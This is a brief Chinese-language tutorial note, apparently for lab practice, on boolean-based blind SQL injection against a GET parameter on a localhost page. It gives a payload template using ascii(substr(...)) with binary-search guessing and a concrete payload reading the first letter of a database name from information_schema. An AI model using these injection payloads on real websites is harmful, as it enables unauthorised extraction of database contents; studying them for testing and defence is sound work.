一个带GET参数的网站,但是网页中没有返回任何查询结果和报错信息,只返回对和错:
盲注入格式:
http://127.0.0.1/index.php?id=1' and ascii(substr(
(SQL语句),1,1
))=ASCII%23
注:
SQL语句 输入SQL注入语句;
ASCII 返回的字符的ASCII码;
1 第一个字母,从1开始算起;
ASCII码可以根据二分法猜测;
详情可以了解sql的substr()语法;
爆库名(sql)的第1个字母:
http://127.0.0.1/index.php?id=1' and ascii(substr(
(select schema_name from information_schema.schemata limit 4,1),1,1
))=115%23
注: